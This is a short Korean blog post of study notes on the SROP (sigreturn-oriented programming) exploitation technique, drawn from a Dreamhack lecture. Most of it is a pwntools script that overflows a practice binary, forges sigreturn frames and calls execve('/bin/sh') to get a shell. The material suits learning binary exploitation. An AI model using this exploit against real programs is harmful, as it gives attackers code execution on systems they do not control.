Security & Hacking

SROP

zeroone-kr 2025. 1. 11. 02:17

SROP Exploit

SROP에서 핵심은 "sigreturn system call"이다.

해당 system call이 호출될 때, rsp가 가르키는 메모리 영역에 sigcontext 구조체가 위치해야한다.

pwntool에서는 SigreturnFrame()를 제공해주고, 거기에 값을 적절히 초기화해서 사용하면 된다.

 

from pwn import *
context.arch = 'amd64'
p = process('./srop')

elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))

binsh = '/bin/sh\x00'
bss = elf.bss()

frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A'*16
payload += b'B'*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve('/bin/sh', 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'
p.sendline(rop)
p.interactive()

 

References

해당 글은 Dreamhack의 강의를 참고하여 정리한 글입니다.

 

https://movefast.tistory.com/344

 

리눅스 커널 - 프로세스간 통신(IPC) 메커니즘

본 글은 The Linux Kernel 을 정리한 것이며, 출처를 밝히지 않은 모든 이미지는 원글에 속한 것입니다. 시그널(Signal) 하나 이상의 프로세스들에게 비동기적인 이벤트(asynchronous event)를 전달하기 위해

movefast.tistory.com

 

'Security & Hacking' 카테고리의 다른 글

00_angr_find  (0) 2025.02.10
angr 핵심 개념  (0) 2025.02.10
SSL Stripping  (0) 2025.02.10
decrypt_safe_linking 이해  (0) 2025.01.11
CodeQL CTF 정리  (0) 2025.01.01